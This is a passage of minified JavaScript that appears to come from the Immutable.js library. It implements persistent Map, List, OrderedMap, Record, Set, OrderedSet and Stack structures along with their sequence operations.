W(e,t[0],t[1])}function nt(e,t){return{node:e,index:0,__prev:t}}function ot(e,t,n,o){var r=Object.create(Xe);r.size=e;r._root=t;r.__ownerID=n;r.__hash=o;r.__altered=!1;return r}function rt(){return Ke||(Ke=ot(0))}function it(e,t,n){var o,r;if(e._root){var i=E(C),a=E(y);o=at(e._root,e.__ownerID,0,void 0,t,n,i,a);if(!a.value)return e;r=e.size+(i.value?n===b?-1:1:0)}else{if(n===b)return e;r=1;o=new Je(e.__ownerID,[[t,n]])}if(e.__ownerID){e.size=r;e._root=o;e.__hash=void 0;e.__altered=!0;return e}return o?ot(r,o):rt()}function at(e,t,n,o,r,i,a,s){if(!e){if(i===b)return e;S(s);S(a);return new Qe(t,o,[r,i])}return e.update(t,n,o,r,i,a,s)}function st(e){return e.constructor===Qe||e.constructor===Ze}function lt(e,t,n,o,r){if(e.keyHash===o)return new Ze(t,o,[e.entry,r]);var i,a=(0===n?e.keyHash:e.keyHash>>>n)&v,s=(0===n?o:o>>>n)&v;return new Ye(t,1<<a|1<<s,a===s?[lt(e,t,n+f,o,r)]:(i=new Qe(t,o,r),a<s?[e,i]:[i,e]))}function ct(e,t,n,o){e||(e=new T);for(var r=new Qe(e,Ie(n),[n,o]),i=0;i<t.length;i++){var a=t[i];r=r.update(e,0,void 0,a[0],a[1])}return r}function ut(e,t,n,o){for(var r=0,i=0,a=new Array(n),s=0,l=1,c=t.length;s<c;s++,l<<=1){var u=t[s];if(void 0!==u&&s!==o){r|=l;a[i++]=u}}return new Ye(e,r,a)}function dt(e,t,n,o,r){for(var i=0,a=new Array(_),s=0;0!==n;s++,n>>>=1)a[s]=1&n?t[i++]:void 0;a[o]=r;return new $e(e,i+1,a)}function ht(e,t,n){for(var r=[],i=0;i<n.length;i++){var s=n[i],l=o(s);a(s)||(l=l.map(function(e){return pe(e)}));r.push(l)}return gt(e,t,r)}function pt(e,t,n){return e&&e.mergeDeep&&a(t)?e.mergeDeep(t):_e(e,t)?e:t}function mt(e){return function(t,n,o){if(t&&t.mergeDeepWith&&a(n))return t.mergeDeepWith(e,n);var r=e(t,n,o);return _e(t,r)?t:r}}function gt(e,t,n){return 0===(n=n.filter(function(e){return 0!==e.size})).length?e:0!==e.size||e.__ownerID||1!==n.length?e.withMutations(function(e){for(var o=t?function(n,o){e.update(o,b,function(e){return e===b?n:t(e,n,o)})}:function(t,n){e.set(n,t)},r=0;r<n.length;r++)n[r].forEach(o)}):e.constructor(n[0])}function ft(e,t,n,o){var r=e===b,i=t.next();if(i.done){var a=r?n:e,s=o(a);return s===a?e:s}Ce(r||e&&e.set,"invalid keyPath");var l=i.value,c=r?b:e.get(l,b),u=ft(c,t,n,o);return u===c?e:u===b?e.remove(l):(r?rt():e).set(l,u)}function _t(e){e=(e=(858993459&(e-=e>>1&1431655765))+(e>>2&858993459))+(e>>4)&252645135;e+=e>>8;return 127&(e+=e>>16)}function vt(e,t,n,o){var r=o?e:w(e);r[t]=n;return r}function bt(e,t,n,o){var r=e.length+1;if(o&&t+1===r){e[t]=n;return e}for(var i=new Array(r),a=0,s=0;s<r;s++)if(s===t){i[s]=n;a=-1}else i[s]=e[s+a];return i}function Ct(e,t,n){var o=e.length-1;if(n&&t===o){e.pop();return e}for(var r=new Array(o),i=0,a=0;a<o;a++){a===t&&(i=1);r[a]=e[a+i]}return r}var yt=_/4,Et=_/2,St=_/4;t(Tt,Te);function Tt(e){var t=Mt();if(null===e||void 0===e)return t;if(wt(e))return e;var n=r(e),o=n.size;if(0===o)return t;je(o);return o>0&&o<_?Pt(0,o,f,null,new It(n.toArray())):t.withMutations(function(e){e.setSize(o);n.forEach(function(t,n){return e.set(n,t)})})}Tt.of=function(){return this(arguments)};Tt.prototype.toString=function(){return this.__toString("List [","]")};Tt.prototype.get=function(e,t){if((e=x(this,e))>=0&&e<this.size){var n=Ft(this,e+=this._origin);return n&&n.array[e&v]}return t};Tt.prototype.set=function(e,t){return At(this,e,t)};Tt.prototype.remove=function(e){return this.has(e)?0===e?this.shift():e===this.size-1?this.pop():this.splice(e,1):this};Tt.prototype.insert=function(e,t){return this.splice(e,0,t)};Tt.prototype.clear=function(){if(0===this.size)return this;if(this.__ownerID){this.size=this._origin=this._capacity=0;this._level=f;this._root=this._tail=null;this.__hash=void 0;this.__altered=!0;return this}return Mt()};Tt.prototype.push=function(){var e=arguments,t=this.size;return this.withMutations(function(n){Ht(n,0,t+e.length);for(var o=0;o<e.length;o++)n.set(t+o,e[o])})};Tt.prototype.pop=function(){return Ht(this,0,-1)};Tt.prototype.unshift=function(){var e=arguments;return this.withMutations(function(t){Ht(t,-e.length);for(var n=0;n<e.length;n++)t.set(n,e[n])})};Tt.prototype.shift=function(){return Ht(this,1)};Tt.prototype.merge=function(){return Wt(this,void 0,arguments)};Tt.prototype.mergeWith=function(t){return Wt(this,t,e.call(arguments,1))};Tt.prototype.mergeDeep=function(){return Wt(this,pt,arguments)};Tt.prototype.mergeDeepWith=function(t){var n=e.call(arguments,1);return Wt(this,mt(t),n)};Tt.prototype.setSize=function(e){return Ht(this,0,e)};Tt.prototype.slice=function(e,t){var n=this.size;return O(e,t,n)?this:Ht(this,L(e,n),D(t,n))};Tt.prototype.__iterator=function(e,t){var n=0,o=Rt(this,t);return new H(function(){var t=o();return t===Dt?U():W(e,n++,t)})};Tt.prototype.__iterate=function(e,t){for(var n,o=0,r=Rt(this,t);(n=r())!==Dt&&!1!==e(n,o++,this););return o};Tt.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;if(!e){this.__ownerID=e;return this}return Pt(this._origin,this._capacity,this._level,this._root,this._tail,e,this.__hash)};function wt(e){return!(!e||!e[kt])}Tt.isList=wt;var kt="@@__IMMUTABLE_LIST__@@",xt=Tt.prototype;xt[kt]=!0;xt[g]=xt.remove;xt.setIn=Xe.setIn;xt.deleteIn=xt.removeIn=Xe.removeIn;xt.update=Xe.update;xt.updateIn=Xe.updateIn;xt.mergeIn=Xe.mergeIn;xt.mergeDeepIn=Xe.mergeDeepIn;xt.withMutations=Xe.withMutations;xt.asMutable=Xe.asMutable;xt.asImmutable=Xe.asImmutable;xt.wasAltered=Xe.wasAltered;function It(e,t){this.array=e;this.ownerID=t}It.prototype.removeBefore=function(e,t,n){if(n===t?1<<t:0===this.array.length)return this;var o=n>>>t&v;if(o>=this.array.length)return new It([],e);var r,i=0===o;if(t>0){var a=this.array[o];if((r=a&&a.removeBefore(e,t-f,n))===a&&i)return this}if(i&&!r)return this;var s=Nt(this,e);if(!i)for(var l=0;l<o;l++)s.array[l]=void 0;r&&(s.array[o]=r);return s};It.prototype.removeAfter=function(e,t,n){if(n===(t?1<<t:0)||0===this.array.length)return this;var o,r=n-1>>>t&v;if(r>=this.array.length)return this;if(t>0){var i=this.array[r];if((o=i&&i.removeAfter(e,t-f,n))===i&&r===this.array.length-1)return this}var a=Nt(this,e);a.array.splice(r+1);o&&(a.array[r]=o);return a};var Ot,Lt,Dt={};function Rt(e,t){var n=e._origin,o=e._capacity,r=Ut(o),i=e._tail;return a(e._root,e._level,0);function a(e,t,n){return 0===t?s(e,n):l(e,t,n)}function s(e,a){var s=a===r?i&&i.array:e&&e.array,l=a>n?0:n-a,c=o-a;c>_&&(c=_);return function(){if(l===c)return Dt;var e=t?--c:l++;return s&&s[e]}}function l(e,r,i){var s,l=e&&e.array,c=i>n?0:n-i>>r,u=1+(o-i>>r);u>_&&(u=_);return function(){for(;;){if(s){var e=s();if(e!==Dt)return e;s=null}if(c===u)return Dt;var n=t?--u:c++;s=a(l&&l[n],r-f,i+(n<<r))}}}}function Pt(e,t,n,o,r,i,a){var s=Object.create(xt);s.size=t-e;s._origin=e;s._capacity=t;s._level=n;s._root=o;s._tail=r;s.__ownerID=i;s.__hash=a;s.__altered=!1;return s}function Mt(){return Ot||(Ot=Pt(0,0,f))}function At(e,t,n){if((t=x(e,t))!=t)return e;if(t>=e.size||t<0)return e.withMutations(function(e){t<0?Ht(e,t).set(0,n):Ht(e,0,t+1).set(t,n)});t+=e._origin;var o=e._tail,r=e._root,i=E(y);t>=Ut(e._capacity)?o=Bt(o,e.__ownerID,0,t,n,i):r=Bt(r,e.__ownerID,e._level,t,n,i);if(!i.value)return e;if(e.__ownerID){e._root=r;e._tail=o;e.__hash=void 0;e.__altered=!0;return e}return Pt(e._origin,e._capacity,e._level,r,o)}function Bt(e,t,n,o,r,i){var a,s=o>>>n&v,l=e&&s<e.array.length;if(!l&&void 0===r)return e;if(n>0){var c=e&&e.array[s],u=Bt(c,t,n-f,o,r,i);if(u===c)return e;(a=Nt(e,t)).array[s]=u;return a}if(l&&e.array[s]===r)return e;S(i);a=Nt(e,t);void 0===r&&s===a.array.length-1?a.array.pop():a.array[s]=r;return a}function Nt(e,t){return t&&e&&t===e.ownerID?e:new It(e?e.array.slice():[],t)}function Ft(e,t){if(t>=Ut(e._capacity))return e._tail;if(t<1<<e._level+f){for(var n=e._root,o=e._level;n&&o>0;){n=n.array[t>>>o&v];o-=f}return n}}function Ht(e,t,n){void 0!==t&&(t|=0);void 0!==n&&(n|=0);var o=e.__ownerID||new T,r=e._origin,i=e._capacity,a=r+t,s=void 0===n?i:n<0?i+n:r+n;if(a===r&&s===i)return e;if(a>=s)return e.clear();for(var l=e._level,c=e._root,u=0;a+u<0;){c=new It(c&&c.array.length?[void 0,c]:[],o);u+=1<<(l+=f)}if(u){a+=u;r+=u;s+=u;i+=u}for(var d=Ut(i),h=Ut(s);h>=1<<l+f;){c=new It(c&&c.array.length?[c]:[],o);l+=f}var p=e._tail,m=h<d?Ft(e,s-1):h>d?new It([],o):p;if(p&&h>d&&a<i&&p.array.length){for(var g=c=Nt(c,o),_=l;_>f;_-=f){var b=d>>>_&v;g=g.array[b]=Nt(g.array[b],o)}g.array[d>>>f&v]=p}s<i&&(m=m&&m.removeAfter(o,0,s));if(a>=h){a-=h;s-=h;l=f;c=null;m=m&&m.removeBefore(o,0,a)}else if(a>r||h<d){u=0;for(;c;){var C=a>>>l&v;if(C!==h>>>l&v)break;C&&(u+=(1<<l)*C);l-=f;c=c.array[C]}c&&a>r&&(c=c.removeBefore(o,l,a-u));c&&h<d&&(c=c.removeAfter(o,l,h-u));if(u){a-=u;s-=u}}if(e.__ownerID){e.size=s-a;e._origin=a;e._capacity=s;e._level=l;e._root=c;e._tail=m;e.__hash=void 0;e.__altered=!0;return e}return Pt(a,s,l,c,m)}function Wt(e,t,n){for(var o=[],i=0,s=0;s<n.length;s++){var l=n[s],c=r(l);c.size>i&&(i=c.size);a(l)||(c=c.map(function(e){return pe(e)}));o.push(c)}i>e.size&&(e=e.setSize(i));return gt(e,t,o)}function Ut(e){return e<_?0:e-1>>>f<<f}t(zt,Ge);function zt(e){return null===e||void 0===e?Vt():jt(e)?e:Vt().withMutations(function(t){var n=o(e);je(n.size);n.forEach(function(e,n){return t.set(n,e)})})}zt.of=function(){return this(arguments)};zt.prototype.toString=function(){return this.__toString("OrderedMap {","}")};zt.prototype.get=function(e,t){var n=this._map.get(e);return void 0!==n?this._list.get(n)[1]:t};zt.prototype.clear=function(){if(0===this.size)return this;if(this.__ownerID){this.size=0;this._map.clear();this._list.clear();return this}return Vt()};zt.prototype.set=function(e,t){return Kt(this,e,t)};zt.prototype.remove=function(e){return Kt(this,e,b)};zt.prototype.wasAltered=function(){return this._map.wasAltered()||this._list.wasAltered()};zt.prototype.__iterate=function(e,t){var n=this;return this._list.__iterate(function(t){return t&&e(t[1],t[0],n)},t)};zt.prototype.__iterator=function(e,t){return this._list.fromEntrySeq().__iterator(e,t)};zt.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;var t=this._map.__ensureOwner(e),n=this._list.__ensureOwner(e);if(!e){this.__ownerID=e;this._map=t;this._list=n;return this}return Gt(t,n,e,this.__hash)};function jt(e){return Ve(e)&&u(e)}zt.isOrderedMap=jt;zt.prototype[m]=!0;zt.prototype[g]=zt.prototype.remove;function Gt(e,t,n,o){var r=Object.create(zt.prototype);r.size=e?e.size:0;r._map=e;r._list=t;r.__ownerID=n;r.__hash=o;return r}function Vt(){return Lt||(Lt=Gt(rt(),Mt()))}function Kt(e,t,n){var o,r,i=e._map,a=e._list,s=i.get(t),l=void 0!==s;if(n===b){if(!l)return e;if(a.size>=_&&a.size>=2*i.size){o=(r=a.filter(function(e,t){return void 0!==e&&s!==t})).toKeyedSeq().map(function(e){return e[0]}).flip().toMap();e.__ownerID&&(o.__ownerID=r.__ownerID=e.__ownerID)}else{o=i.remove(t);r=s===a.size-1?a.pop():a.set(s,void 0)}}else if(l){if(n===a.get(s)[1])return e;o=i;r=a.set(s,[t,n])}else{o=i.set(t,a.size);r=a.set(a.size,[t,n])}if(e.__ownerID){e.size=o.size;e._map=o;e._list=r;e.__hash=void 0;return e}return Gt(o,r)}t(qt,X);function qt(e,t){this._iter=e;this._useKeys=t;this.size=e.size}qt.prototype.get=function(e,t){return this._iter.get(e,t)};qt.prototype.has=function(e){return this._iter.has(e)};qt.prototype.valueSeq=function(){return this._iter.valueSeq()};qt.prototype.reverse=function(){var e=this,t=Qt(this,!0);this._useKeys||(t.valueSeq=function(){return e._iter.toSeq().reverse()});return t};qt.prototype.map=function(e,t){var n=this,o=Zt(this,e,t);this._useKeys||(o.valueSeq=function(){return n._iter.toSeq().map(e,t)});return o};qt.prototype.__iterate=function(e,t){var n,o=this;return this._iter.__iterate(this._useKeys?function(t,n){return e(t,n,o)}:(n=t?_n(this):0,function(r){return e(r,t?--n:n++,o)}),t)};qt.prototype.__iterator=function(e,t){if(this._useKeys)return this._iter.__iterator(e,t);var n=this._iter.__iterator(M,t),o=t?_n(this):0;return new H(function(){var r=n.next();return r.done?r:W(e,t?--o:o++,r.value,r)})};qt.prototype[m]=!0;t(Xt,J);function Xt(e){this._iter=e;this.size=e.size}Xt.prototype.includes=function(e){return this._iter.includes(e)};Xt.prototype.__iterate=function(e,t){var n=this,o=0;return this._iter.__iterate(function(t){return e(t,o++,n)},t)};Xt.prototype.__iterator=function(e,t){var n=this._iter.__iterator(M,t),o=0;return new H(function(){var t=n.next();return t.done?t:W(e,o++,t.value,t)})};t(Jt,Y);function Jt(e){this._iter=e;this.size=e.size}Jt.prototype.has=function(e){return this._iter.includes(e)};Jt.prototype.__iterate=function(e,t){var n=this;return this._iter.__iterate(function(t){return e(t,t,n)},t)};Jt.prototype.__iterator=function(e,t){var n=this._iter.__iterator(M,t);return new H(function(){var t=n.next();return t.done?t:W(e,t.value,t.value,t)})};t(Yt,X);function Yt(e){this._iter=e;this.size=e.size}Yt.prototype.entrySeq=function(){return this._iter.toSeq()};Yt.prototype.__iterate=function(e,t){var n=this;return this._iter.__iterate(function(t){if(t){fn(t);var o=a(t);return e(o?t.get(1):t[1],o?t.get(0):t[0],n)}},t)};Yt.prototype.__iterator=function(e,t){var n=this._iter.__iterator(M,t);return new H(function(){for(;;){var t=n.next();if(t.done)return t;var o=t.value;if(o){fn(o);var r=a(o);return W(e,r?o.get(0):o[0],r?o.get(1):o[1],t)}}})};Xt.prototype.cacheResult=qt.prototype.cacheResult=Jt.prototype.cacheResult=Yt.prototype.cacheResult=Cn;function $t(e){var t=bn(e);t._iter=e;t.size=e.size;t.flip=function(){return e};t.reverse=function(){var t=e.reverse.apply(this);t.flip=function(){return e.reverse()};return t};t.has=function(t){return e.includes(t)};t.includes=function(t){return e.has(t)};t.cacheResult=Cn;t.__iterateUncached=function(t,n){var o=this;return e.__iterate(function(e,n){return!1!==t(n,e,o)},n)};t.__iteratorUncached=function(t,n){if(t===A){var o=e.__iterator(t,n);return new H(function(){var e=o.next();if(!e.done){var t=e.value[0];e.value[0]=e.value[1];e.value[1]=t}return e})}return e.__iterator(t===M?P:M,n)};return t}function Zt(e,t,n){var o=bn(e);o.size=e.size;o.has=function(t){return e.has(t)};o.get=function(o,r){var i=e.get(o,b);return i===b?r:t.call(n,i,o,e)};o.__iterateUncached=function(o,r){var i=this;return e.__iterate(function(e,r,a){return!1!==o(t.call(n,e,r,a),r,i)},r)};o.__iteratorUncached=function(o,r){var i=e.__iterator(A,r);return new H(function(){var r=i.next();if(r.done)return r;var a=r.value,s=a[0];return W(o,s,t.call(n,a[1],s,e),r)})};return o}function Qt(e,t){var n=bn(e);n._iter=e;n.size=e.size;n.reverse=function(){return e};e.flip&&(n.flip=function(){var t=$t(e);t.reverse=function(){return e.flip()};return t});n.get=function(n,o){return e.get(t?n:-1-n,o)};n.has=function(n){return e.has(t?n:-1-n)};n.includes=function(t){return e.includes(t)};n.cacheResult=Cn;n.__iterate=function(t,n){var o=this;return e.__iterate(function(e,n){return t(e,n,o)},!n)};n.__iterator=function(t,n){return e.__iterator(t,!n)};return n}function en(e,t,n,o){var r=bn(e);if(o){r.has=function(o){var r=e.get(o,b);return r!==b&&!!t.call(n,r,o,e)};r.get=function(o,r){var i=e.get(o,b);return i!==b&&t.call(n,i,o,e)?i:r}}r.__iterateUncached=function(r,i){var a=this,s=0;e.__iterate(function(e,i,l){if(t.call(n,e,i,l)){s++;return r(e,o?i:s-1,a)}},i);return s};r.__iteratorUncached=function(r,i){var a=e.__iterator(A,i),s=0;return new H(function(){for(;;){var i=a.next();if(i.done)return i;var l=i.value,c=l[0],u=l[1];if(t.call(n,u,c,e))return W(r,o?c:s++,u,i)}})};return r}function tn(e,t,n){var o=Ge().asMutable();e.__iterate(function(r,i){o.update(t.call(n,r,i,e),0,function(e){return e+1})});return o.asImmutable()}function nn(e,t,n){var o=s(e),r=(u(e)?zt():Ge()).asMutable();e.__iterate(function(i,a){r.update(t.call(n,i,a,e),function(e){return(e=e||[]).push(o?[a,i]:i),e})});var i=vn(e);return r.map(function(t){return gn(e,i(t))})}function on(e,t,n,o){var r=e.size;void 0!==t&&(t|=0);void 0!==n&&(n===1/0?n=r:n|=0);if(O(t,n,r))return e;var i=L(t,r),a=D(n,r);if(i!=i||a!=a)return on(e.toSeq().cacheResult(),t,n,o);var s,l=a-i;l==l&&(s=l<0?0:l);var c=bn(e);c.size=0===s?s:e.size&&s||void 0;!o&&ie(e)&&s>=0&&(c.get=function(t,n){return(t=x(this,t))>=0&&t<s?e.get(t+i,n):n});c.__iterateUncached=function(t,n){var r=this;if(0===s)return 0;if(n)return this.cacheResult().__iterate(t,n);var a=0,l=!0,c=0;e.__iterate(function(e,n){if(!l||!(l=a++<i)){c++;return!1!==t(e,o?n:c-1,r)&&c!==s}});return c};c.__iteratorUncached=function(t,n){if(0!==s&&n)return this.cacheResult().__iterator(t,n);var r=0!==s&&e.__iterator(t,n),a=0,l=0;return new H(function(){for(;a++<i;)r.next();if(++l>s)return U();var e=r.next();return o||t===M?e:W(t,l-1,t===P?void 0:e.value[1],e)})};return c}function rn(e,t,n){var o=bn(e);o.__iterateUncached=function(o,r){var i=this;if(r)return this.cacheResult().__iterate(o,r);var a=0;e.__iterate(function(e,r,s){return t.call(n,e,r,s)&&++a&&o(e,r,i)});return a};o.__iteratorUncached=function(o,r){var i=this;if(r)return this.cacheResult().__iterator(o,r);var a=e.__iterator(A,r),s=!0;return new H(function(){if(!s)return U();var e=a.next();if(e.done)return e;var r=e.value,l=r[0],c=r[1];if(!t.call(n,c,l,i)){s=!1;return U()}return o===A?e:W(o,l,c,e)})};return o}function an(e,t,n,o){var r=bn(e);r.__iterateUncached=function(r,i){var a=this;if(i)return this.cacheResult().__iterate(r,i);var s=!0,l=0;e.__iterate(function(e,i,c){if(!s||!(s=t.call(n,e,i,c))){l++;return r(e,o?i:l-1,a)}});return l};r.__iteratorUncached=function(r,i){var a=this;if(i)return this.cacheResult().__iterator(r,i);var s=e.__iterator(A,i),l=!0,c=0;return new H(function(){var e,i,u;do{if((e=s.next()).done)return o||r===M?e:W(r,c++,r===P?void 0:e.value[1],e);var d=e.value;i=d[0];u=d[1];l&&(l=t.call(n,u,i,a))}while(l);return r===A?e:W(r,i,u,e)})};return r}function sn(e,t){var n=s(e),r=[e].concat(t).map(function(e){a(e)?n&&(e=o(e)):e=n?se(e):le(Array.isArray(e)?e:[e]);return e}).filter(function(e){return 0!==e.size});if(0===r.length)return e;if(1===r.length){var i=r[0];if(i===e||n&&s(i)||l(e)&&l(i))return i}var c=new te(r);n?c=c.toKeyedSeq():l(e)||(c=c.toSetSeq());(c=c.flatten(!0)).size=r.reduce(function(e,t){if(void 0!==e){var n=t.size;if(void 0!==n)return e+n}},0);return c}function ln(e,t,n){var o=bn(e);o.__iterateUncached=function(o,r){var i=0,s=!1;function l(e,c){var u=this;e.__iterate(function(e,r){(!t||c<t)&&a(e)?l(e,c+1):!1===o(e,n?r:i++,u)&&(s=!0);return!s},r)}l(e,0);return i};o.__iteratorUncached=function(o,r){var i=e.__iterator(o,r),s=[],l=0;return new H(function(){for(;i;){var e=i.next();if(!1===e.done){var c=e.value;o===A&&(c=c[1]);if(t&&!(s.length<t)||!a(c))return n?e:W(o,l++,c,e);s.push(i);i=c.__iterator(o,r)}else i=s.pop()}return U()})};return o}function cn(e,t,n){var o=vn(e);return e.toSeq().map(function(r,i){return o(t.call(n,r,i,e))}).flatten(!0)}function un(e,t){var n=bn(e);n.size=e.size&&2*e.size-1;n.__iterateUncached=function(n,o){var r=this,i=0;e.__iterate(function(e,o){return(!i||!1!==n(t,i++,r))&&!1!==n(e,i++,r)},o);return i};n.__iteratorUncached=function(n,o){var r,i=e.__iterator(M,o),a=0;return new H(function(){return(!r||a%2)&&(r=i.next()).done?r:a%2?W(n,a++,t):W(n,a++,r.value,r)})};return n}function dn(e,t,n){t||(t=yn);var o=s(e),r=0,i=e.toSeq().map(function(t,o){return[o,t,r++,n?n(t,o,e):t]}).toArray();i.sort(function(e,n){return t(e[3],n[3])||e[2]-n[2]}).forEach(o?function(e,t){i[t].length=2}:function(e,t){i[t]=e[1]});return o?X(i):l(e)?J(i):Y(i)}function hn(e,t,n){t||(t=yn);if(n){var o=e.toSeq().map(function(t,o){return[t,n(t,o,e)]}).reduce(function(e,n){return pn(t,e[1],n[1])?n:e});return o&&o[0]}return e.reduce(function(e,n){return pn(t,e,n)?n:e})}function pn(e,t,n){var o=e(n,t);return 0===o&&n!==t&&(void 0===n||null===n||n!=n)||o>0}function mn(e,t,o){var r=bn(e);r.size=new te(o).map(function(e){return e.size}).min();r.__iterate=function(e,t){for(var n,o=this.__iterator(M,t),r=0;!(n=o.next()).done&&!1!==e(n.value,r++,this););return r};r.__iteratorUncached=function(e,r){var i=o.map(function(e){return e=n(e),G(r?e.reverse():e)}),a=0,s=!1;return new H(function(){var n;if(!s){n=i.map(function(e){return e.next()});s=n.some(function(e){return e.done})}return s?U():W(e,a++,t.apply(null,n.map(function(e){return e.value})))})};return r}function gn(e,t){return ie(e)?t:e.constructor(t)}function fn(e){if(e!==Object(e))throw new TypeError("Expected [K, V] tuple: "+e)}function _n(e){je(e.size);return k(e)}function vn(e){return s(e)?o:l(e)?r:i}function bn(e){return Object.create((s(e)?X:l(e)?J:Y).prototype)}function Cn(){if(this._iter.cacheResult){this._iter.cacheResult();this.size=this._iter.size;return this}return q.prototype.cacheResult.call(this)}function yn(e,t){return e>t?1:e<t?-1:0}function En(e){var t=G(e);if(!t){if(!K(e))throw new TypeError("Expected iterable or array-like: "+e);t=G(n(e))}return t}t(Sn,Se);function Sn(e,t){var n,o=function(i){if(i instanceof o)return i;if(!(this instanceof o))return new o(i);if(!n){n=!0;var a=Object.keys(e);xn(r,a);r.size=a.length;r._name=t;r._keys=a;r._defaultValues=e}this._map=Ge(i)},r=o.prototype=Object.create(Tn);r.constructor=o;return o}Sn.prototype.toString=function(){return this.__toString(kn(this)+" {","}")};Sn.prototype.has=function(e){return this._defaultValues.hasOwnProperty(e)};Sn.prototype.get=function(e,t){if(!this.has(e))return t;var n=this._defaultValues[e];return this._map?this._map.get(e,n):n};Sn.prototype.clear=function(){if(this.__ownerID){this._map&&this._map.clear();return this}var e=this.constructor;return e._empty||(e._empty=wn(this,rt()))};Sn.prototype.set=function(e,t){if(!this.has(e))throw new Error('Cannot set unknown key "'+e+'" on '+kn(this));if(this._map&&!this._map.has(e)){if(t===this._defaultValues[e])return this}var n=this._map&&this._map.set(e,t);return this.__ownerID||n===this._map?this:wn(this,n)};Sn.prototype.remove=function(e){if(!this.has(e))return this;var t=this._map&&this._map.remove(e);return this.__ownerID||t===this._map?this:wn(this,t)};Sn.prototype.wasAltered=function(){return this._map.wasAltered()};Sn.prototype.__iterator=function(e,t){var n=this;return o(this._defaultValues).map(function(e,t){return n.get(t)}).__iterator(e,t)};Sn.prototype.__iterate=function(e,t){var n=this;return o(this._defaultValues).map(function(e,t){return n.get(t)}).__iterate(e,t)};Sn.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;var t=this._map&&this._map.__ensureOwner(e);if(!e){this.__ownerID=e;this._map=t;return this}return wn(this,t,e)};var Tn=Sn.prototype;Tn[g]=Tn.remove;Tn.deleteIn=Tn.removeIn=Xe.removeIn;Tn.merge=Xe.merge;Tn.mergeWith=Xe.mergeWith;Tn.mergeIn=Xe.mergeIn;Tn.mergeDeep=Xe.mergeDeep;Tn.mergeDeepWith=Xe.mergeDeepWith;Tn.mergeDeepIn=Xe.mergeDeepIn;Tn.setIn=Xe.setIn;Tn.update=Xe.update;Tn.updateIn=Xe.updateIn;Tn.withMutations=Xe.withMutations;Tn.asMutable=Xe.asMutable;Tn.asImmutable=Xe.asImmutable;function wn(e,t,n){var o=Object.create(Object.getPrototypeOf(e));o._map=t;o.__ownerID=n;return o}function kn(e){return e._name||e.constructor.name||"Record"}function xn(e,t){try{t.forEach(In.bind(void 0,e))}catch(e){}}function In(e,t){Object.defineProperty(e,t,{get:function(){return this.get(t)},set:function(e){Ce(this.__ownerID,"Cannot set on an immutable record.");this.set(t,e)}})}t(On,we);function On(e){return null===e||void 0===e?Bn():Ln(e)&&!u(e)?e:Bn().withMutations(function(t){var n=i(e);je(n.size);n.forEach(function(e){return t.add(e)})})}On.of=function(){return this(arguments)};On.fromKeys=function(e){return this(o(e).keySeq())};On.prototype.toString=function(){return this.__toString("Set {","}")};On.prototype.has=function(e){return this._map.has(e)};On.prototype.add=function(e){return Mn(this,this._map.set(e,!0))};On.prototype.remove=function(e){return Mn(this,this._map.remove(e))};On.prototype.clear=function(){return Mn(this,this._map.clear())};On.prototype.union=function(){var t=e.call(arguments,0);return 0===(t=t.filter(function(e){return 0!==e.size})).length?this:0!==this.size||this.__ownerID||1!==t.length?this.withMutations(function(e){for(var n=0;n<t.length;n++)i(t[n]).forEach(function(t){return e.add(t)})}):this.constructor(t[0])};On.prototype.intersect=function(){var t=e.call(arguments,0);if(0===t.length)return this;t=t.map(function(e){return i(e)});var n=this;return this.withMutations(function(e){n.forEach(function(n){t.every(function(e){return e.includes(n)})||e.remove(n)})})};On.prototype.subtract=function(){var t=e.call(arguments,0);if(0===t.length)return this;t=t.map(function(e){return i(e)});var n=this;return this.withMutations(function(e){n.forEach(function(n){t.some(function(e){return e.includes(n)})&&e.remove(n)})})};On.prototype.merge=function(){return this.union.apply(this,arguments)};On.prototype.mergeWith=function(t){var n=e.call(arguments,1);return this.union.apply(this,n)};On.prototype.sort=function(e){return Nn(dn(this,e))};On.prototype.sortBy=function(e,t){return Nn(dn(this,t,e))};On.prototype.wasAltered=function(){return this._map.wasAltered()};On.prototype.__iterate=function(e,t){var n=this;return this._map.__iterate(function(t,o){return e(o,o,n)},t)};On.prototype.__iterator=function(e,t){return this._map.map(function(e,t){return t}).__iterator(e,t)};On.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;var t=this._map.__ensureOwner(e);if(!e){this.__ownerID=e;this._map=t;return this}return this.__make(t,e)};function Ln(e){return!(!e||!e[Rn])}On.isSet=Ln;var Dn,Rn="@@__IMMUTABLE_SET__@@",Pn=On.prototype;Pn[Rn]=!0;Pn[g]=Pn.remove;Pn.mergeDeep=Pn.merge;Pn.mergeDeepWith=Pn.mergeWith;Pn.withMutations=Xe.withMutations;Pn.asMutable=Xe.asMutable;Pn.asImmutable=Xe.asImmutable;Pn.__empty=Bn;Pn.__make=An;function Mn(e,t){if(e.__ownerID){e.size=t.size;e._map=t;return e}return t===e._map?e:0===t.size?e.__empty():e.__make(t)}function An(e,t){var n=Object.create(Pn);n.size=e?e.size:0;n._map=e;n.__ownerID=t;return n}function Bn(){return Dn||(Dn=An(rt()))}t(Nn,On);function Nn(e){return null===e||void 0===e?zn():Fn(e)?e:zn().withMutations(function(t){var n=i(e);je(n.size);n.forEach(function(e){return t.add(e)})})}Nn.of=function(){return this(arguments)};Nn.fromKeys=function(e){return this(o(e).keySeq())};Nn.prototype.toString=function(){return this.__toString("OrderedSet {","}")};function Fn(e){return Ln(e)&&u(e)}Nn.isOrderedSet=Fn;var Hn,Wn=Nn.prototype;Wn[m]=!0;Wn.__empty=zn;Wn.__make=Un;function Un(e,t){var n=Object.create(Wn);n.size=e?e.size:0;n._map=e;n.__ownerID=t;return n}function zn(){return Hn||(Hn=Un(Vt()))}t(jn,Te);function jn(e){return null===e||void 0===e?Jn():Gn(e)?e:Jn().unshiftAll(e)}jn.of=function(){return this(arguments)};jn.prototype.toString=function(){return this.__toString("Stack [","]")};jn.prototype.get=function(e,t){var n=this._head;e=x(this,e);for(;n&&e--;)n=n.next;return n?n.value:t};jn.prototype.peek=function(){return this._head&&this._head.value};jn.prototype.push=function(){if(0===arguments.length)return this;for(var e=this.size+arguments.length,t=this._head,n=arguments.length-1;n>=0;n--)t={value:arguments[n],next:t};if(this.__ownerID){this.size=e;this._head=t;this.__hash=void 0;this.__altered=!0;return this}return Xn(e,t)};jn.prototype.pushAll=function(e){if(0===(e=r(e)).size)return this;je(e.size);var 